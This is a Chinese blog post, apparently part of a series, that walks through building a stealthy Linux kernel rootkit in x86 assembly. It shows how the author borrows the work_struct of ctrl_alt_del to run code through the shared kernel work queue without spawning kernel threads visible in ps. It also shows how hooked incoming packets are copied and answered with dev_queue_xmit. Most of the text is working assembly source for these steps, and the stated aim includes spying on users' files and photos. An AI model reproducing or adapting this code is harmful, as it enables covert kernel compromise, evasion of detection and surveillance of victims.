搞了一天,终于能发送skb了。不是这东西难搞,是汇编底子还是不行啊,大错不犯小错不断。这一个小错,那个一小错,一个小错调一个小时,一下一天就过去了。
虽然调试的时候很恼火,不过还是乐此不疲地写着汇编。就像一句名言说过“世界上有两类语言,有一些语言天天被人骂,有一些语言没有人用”。汇编就是属于这类语言。
好了,回忆一下上次是怎么接收skb的?对了,inline hook 了netif_receive_skb。那我们在 inline hook 中的代码也是跟 netif_receive_skb 一个上下文的-----软中断。这个软中断有啥问题呢?没错,问题可大了,软中断里的操作是原子的,不能调度,不能睡眠,不能停留太长时间。
但我们的rootkit是不愿意接受这个现实的,我们要进行的操作可多了,要读文件,写文件,还要偷窥别人照片。这些操作里必然有调度,睡眠。
咋的办?《linux 设备驱动程序》给出了答案---工作队列。工作队列的上下文是符合我们的rootkit的要求的。
对比了下代码,2.6.18 ~ 2.6.24 间 work_struct 这个数据结构发生了剧烈变化。在c语言里,用一个宏 DECLARE_WORK 就能声明一个工作队列。
这可苦了我们写汇编的,多少个版本啊,我们能一个一个地支持吗?当然不能,那是sb的想法。
我们的处理方法也是利用大杀器来做。
我们注意到一个角落里的函数 ctrl_alt_del 。看这函数的名字就知道它是几百年都不会被调用一次的函数了。
- void ctrl_alt_del(void)
- {
- static DECLARE_WORK(cad_work, deferred_cad);
- if (C_A_D)
- schedule_work(&cad_work);
- else
- kill_cad_pid(SIGINT, 1);
- }
关键不是这个,关键是它的开头有一个初始化好了的 work_struct 结构,我们直接把它复制到我们自己的缓冲区了就能用了。
反汇编看看:
- 0: a1 f0 a5 34 c0 mov 0xc034a5f0,%eax
- 5: 85 c0 test %eax,%eax
- 7: 74 0a je 0x13
- 9: b8 9c a6 34 c0 mov $0xc034a69c,%eax
- e: e9 5d 2d 00 00 jmp 0x2d70
- 13: a1 44 4b 3c c0 mov 0xc03c4b44,%eax
- 18: b9 01 00 00 00 mov $0x1,%ecx
- 1d: ba 02 00 00 00 mov $0x2,%edx
- 22: e9 19 dd ff ff jmp 0xffffdd40
- 27: 89 f6 mov %esi,%esi
- 29: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
第九行就是把 cad_work 这个参数传给 schedule_work 。然后调用schedule_work 。
我们直接用大杀器搜索操作码为 0xb8 的第一条指令就是了。
搜到以后把 cad_work 复制到我们自己的缓冲区里。
处理两个细节:
1.把 work_struct.entry 这个 list_head 设为空。搜索整个数据结构里内容等于地址的字段就行了,linux里的链表就是这样。
2.找到 work_struct.func 这个字段的偏移。只要搜索整个数据结构里内容等于deferred_cad的地址的字段就行了。
搞到这个 work_struct 之后,我们就能使用自己的工作队列了。使用的时候只需要把 work_struct.func 字段设为自己的函数的地址。然后调用 schedule_work 即可。
schedule_work 这个函数呢,是把参数 work_struct 挂在keventd_wq这个内核共享的工作队列里执行。
有人说“为啥我们不自己创建一个工作队列呢?”不行,工作队列的是用内核线程来实现的。而创建一个工作队列时,同时会创建 n 个内核线程,n 就等于你的cpu数量。而内核线程,在 bash 上用 ps -aux 这命令就能看到。你这样就是在捅马蜂窝啊!
所以解决了这些细节问题。我们就可以这样做了:
在接收到数据包的时候,把数据包的内容复到新申请的缓冲区里,然后调用 schedule_work 把发包的函数挂在共享的队列里,等待被执行。
怎么发包呢?
最终,网络层的函数会调用 dev_queue_xmit 这个函数发包。这个函数的内部可复杂了,一下lock一下unlock,还调用qdisc啥的。所以我们还是直接调用它算了。要注意的是,这个函数里会把 skb 克隆给 ptypes_all 上的嗅探器,每人一份。不过我们不怕,如果有嗅探器,我们早就把它hook了,如果没有,那就算了。
直接调用dev_queue_xmit这方法不是最好的,不过我尝试了直接调用 net_device->dev_hard_start_xmit 发包,结果不行。可能是没有解决同步的问题。
所以我们现在可以发包了!
贴代码贴代码
处理 work_struct 部分:
- struct_work_struct: .fill 0x100
- work_struct.func: .fill 4
- schedule_work: .fill 4
- // void kthread_init();
- kthread_init:
- #define retcode 0xc
- PUSH_ALL
- subl $0x10, %esp
- movl $0, retcode(%esp)
- GET_STR("schedule_work", %eax)
- movl $13, %edx
- call ksym_lookup
- testl %eax, %eax
- jz kthread_init_out_failed
- GET_ADDR(schedule_work, %edx)
- movl %eax, (%edx)
- GET_STR("ctrl_alt_del", %eax)
- movl $12, %edx
- call ksym_lookup
- testl %eax, %eax
- jz kthread_init_out_failed
- movl %eax, %esi
- leal 0x100(%esi), %edi
- 1: movl %esi, %eax
- GET_ADDR(struct_dism, %edx)
- call xde_dism
- testl %eax, %eax
- jz kthread_init_out_failed
- movl %eax, %ebp
- movb dism_opcode(%edx), %al
- cmpb $0xb8, %al
- jz 3f
- addl %ebp, %esi
- cmpl %edi, %esi
- jl 1b
- 3: movl 1(%esi), %esi
- movl %esi, %ebp
- GET_ADDR(struct_work_struct, %edi)
- movl $0x100, %ecx
- cld; rep movsb
- GET_STR("deferred_cad", %eax)
- movl $12, %edx
- call ksym_lookup
- testl %eax, %eax
- jz kthread_init_out_failed
- GET_ADDR(struct_work_struct, %esi)
- movl $0x100, %ecx
- 4: cmpl %eax, (%esi)
- jz 5f
- cmpl %ebp, (%esi)
- jnz 6f
- movl %esi, (%esi)
- movl %esi, 4(%esi)
- 6: incl %esi
- incl %ebp
- loop 4b
- jmp kthread_init_out_failed
- 5: GET_ADDR(struct_work_struct, %edi)
- subl %edi, %esi
- GET_ADDR(work_struct.func, %eax)
- movl %esi, (%eax)
- #ifdef _DEBUG_
- movl %edi, 4(%esp)
- movl %esi, 8(%esp)
- DPRINT("<3>struct_work_struct %lx; work_struct.func %lx/n")
- #endif
- 2:
- kthread_init_out:
- movl retcode(%esp), %eax
- addl $0x10, %esp
- POP_ALL
- ret
- kthread_init_out_failed:
- movl $1, retcode(%esp)
- jmp kthread_init_out
- #undef retcode
接收skb部分:
- // data_recv = __kmalloc(skb->len + 8, GFP_ATOMIC);
- GET_STRUCT_VAL32(%esi, sk_buff.len, %ecx)
- movl %ecx, %edi
- leal 8(%ecx), %eax
- movl $0x20, %edx
- GET_VAL32(__kmalloc, %ebp)
- call *%ebp
- testl %eax, %eax
- jz his_out
- movl %eax, %ebx
- SET_VAL32(data_recv, %ebx)
- // put skb->len, skb->dev at the begining of data_recv
- movl %edi, (%ebx)
- GET_STRUCT_VAL32(%esi, sk_buff.dev, %eax)
- movl %eax, 4(%ebx)
- // memcpy(data_recv + 8, skb->data - 14, skb->len);
- movl %edi, %ecx
- leal 8(%ebx), %edi
- GET_STRUCT_VAL32(%esi, sk_buff.data, %ebx)
- leal -14(%ebx), %esi
- cld; rep movsb
- // struct_work_struct.func = thread_recv;
- GET_ADDR(thread_recv, %ebx)
- GET_ADDR(struct_work_struct, %ecx)
- SET_STRUCT_VAL32(%ecx, work_struct.func, %ebx)
- // schedule_work(struct_work_struct);
- GET_VAL32(schedule_work, %ebp)
- movl %ecx, %eax
- call *%ebp
发送skb部分:
- // void thread_recv(void *data_recv);
- thread_recv:
- PUSH_ALL
- subl $0x10, %esp
- #ifdef _DEBUG_
- DPRINT("<3>our pack/n")
- #endif
- // skb = __netdev_alloc_skb(dev, 123, GFP_ATOMIC);
- GET_VAL32(data_recv, %eax)
- leal 0x8(%eax), %edi
- movl $123, %edx
- movl 4(%eax), %eax
- movl $0x20, %ecx
- GET_VAL32(__netdev_alloc_skb, %ebp)
- call *%ebp
- testl %eax, %eax
- jz thread_recv_out
- movl %eax, %esi
- // skb->len = 123;
- SET_STRUCT_VAL32(%esi, sk_buff.len, $123)
- // skb->tail = skb->end;
- GET_STRUCT_VAL32(%esi, sk_buff.end, %ebx)
- SET_STRUCT_VAL32(%esi, sk_buff.tail, %ebx)
- // memcpy(skb->data, data_recv + 0x8 + 6, 6);
- GET_STRUCT_VAL32(%esi, sk_buff.data, %eax)
- movl 6(%edi), %ebx
- movw 10(%edi), %cx
- movl %ebx, (%eax)
- movw %cx, 4(%eax)
- // memcpy(skb->data + 6, data_recv + 0x8, 6);
- movl (%edi), %ebx
- movw 4(%edi), %cx
- movl %ebx, 6(%eax)
- movw %cx, 10(%eax)
- // memcpy(skb->data + 14, "/x12/x34/x56/x78", 4);
- movl $0x12345678, 14(%eax)
- // dev_queue_xmit(skb);
- GET_VAL32(dev_queue_xmit, %ebp)
- movl %esi, %eax
- call *%ebp
- #ifdef _DEBUG_
- movl %eax, 4(%esp)
- DPRINT("<3>sent %lx/n")
- #endif
- thread_recv_out:
- addl $0x10, %esp
- POP_ALL
- ret
新定义的宏:
- #define EXPORT_LABEL(label) /
- .globl label; label:
- #define GET_ADDR(label, reg) /
- call 999f; /
- 999: popl reg; /
- subl $(999b - label), reg
- #define GET_VAL32(label, reg) /
- GET_ADDR(label, reg); /
- movl (reg), reg;
- #define SET_VAL32(label, val) /
- GET_ADDR(label, %eax); /
- movl val, (%eax);
- #define GET_STR(str, reg) /
- call 1111f; /
- .asciz str; /
- 1111: popl reg
- #define DPRINT(fmt) /
- GET_ADDR(printk, %eax); /
- movl (%eax), %eax; /
- GET_STR(fmt, %edx); /
- movl %edx, (%esp); /
- call *%eax;
- #define GET_STRUCT_VAL32(base, offset, reg) /
- GET_VAL32(offset, reg); /
- movl 0(base, reg, 1), reg;
- #define SET_STRUCT_VAL32(base, offset, val) /
- GET_VAL32(offset, %eax); /
- movl val, 0(base, %eax, 1);
- #define PUSH_ALL /
- pushl %ebx; /
- pushl %ecx; /
- pushl %edx; /
- pushl %esi; /
- pushl %edi; /
- pushl %ebp;
- #define POP_ALL /
- popl %ebp; /
- popl %edi; /
- popl %esi; /
- popl %edx; /
- popl %ecx; /
- popl %ebx;
看看效果!